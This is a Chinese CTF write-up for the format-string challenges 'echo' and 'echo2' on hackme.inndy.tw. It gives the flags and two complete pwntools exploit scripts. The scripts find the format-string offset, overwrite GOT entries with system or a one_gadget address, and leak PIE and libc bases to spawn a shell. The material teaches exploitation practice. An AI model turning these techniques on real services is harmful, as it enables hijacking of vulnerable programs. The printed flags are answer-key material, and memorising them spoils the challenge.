printf
echo
FLAG{printf vulnerability is fun, right? %16c%7$hhn%99c%7$hhn}
是根据这个网站写的。首先判断printf的那个栈和之前输入的字符串间隔几个参数:输入ABCD%n$x
看n=多少时能输出ABCD44434241
(44434241是ABCD16进制ASCII码的反序)。
然后利用pwntools自带的fmtstr_payload,将n、printf地址和system地址放进去,利用printf漏洞把printf地址改成 system地址。再输入"/bin/sh"字符串让system执行就好了。
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level = 'debug'
io = remote("hackme.inndy.tw", 7711)
# io = process('./echo')
# gdb.attach(io, "b *main")
for i in range(100):
payload = "ABCD%" + str(i) + "$x"
io.sendline(payload)
if "ABCD44434241" == io.recvline(keepends=False):
print('------------------------------')
print('Found format string offset: ' + str(i))
print('------------------------------')
offset = i
break
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF("./echo")
io.sendline(fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']}))
io.sendline('/bin/sh')
io.interactive()
出乎意料的是这题不用泄露libc版本直接发过去就能得到shell……莫非我电脑和inddy用的一个版本libc……
echo2
FLAG{do you know PIE? %9$s or the ASLR? %9c$8$hhn}
一开始觉得和上一道没什么区别,顶多就是不能用fmtstr_payload了。但对着PPT半天做不出,上网得知:
- 开启PIE需要程序本身的基址;
- 这题没法把 printf 地址覆盖成 system。因为一个%hhn写一个字节,没法一次覆盖完,下一次循环也没法用printf了。所以网上的WP无一例外都用one_gadget得到
execve('/bin/sh', NULL, NULL)
,并覆盖到退出循环后的exit函数里。
脚本参考了王奥博学长和李博学长的:
# -*- coding: utf-8 -*-
from pwn import *
context.bits = 64
# context.log_level = 'debug'
io = remote('hackme.inndy.tw', 7712)
for i in range(100):
payload = "ABCD%" + str(i) + "$x"
io.sendline(payload)
if "ABCD44434241" == io.recvline(keepends=False):
offset = i
log.info("Found format string offset -> 0x%x" % offset)
break
libc = ELF('./libc-2.23.so.x86_64')
elf = ELF('./echo2')
io.sendline("%41$p..%43$p..")
# %41$p指向的是main+74,所以要减掉main函数地址(nm ./echo2得到)和74
elf_base = int(io.recvuntil("..", drop=True), 16) - 74 - 0x9b9
payload = "++%" + str(i+1) + "$s++" + p64(elf_base+elf.got['printf'])
io.sendline(payload)
io.recvuntil('++')
printf_addr = u64(io.recvuntil('++', drop=True).ljust(8, "\x00"))
libc_base = printf_addr - libc.sym['printf']
log.info("elf_base -> 0x%x" % elf_base)
log.info("libc_base -> 0x%x" % libc_base)
exit_addr, override_addr = elf_base + \
elf.got['exit'], libc_base + 0x45206 # one_gadget
i = 0
while override_addr != 0:
payload = "%{}c%8$hhn".format(override_addr & 0xff).ljust(16)
payload += p64(exit_addr+i)
log.info("sent: " + payload)
io.sendline(payload)
override_addr = override_addr >> 8
i += 1
io.sendline('exit')
io.interactive()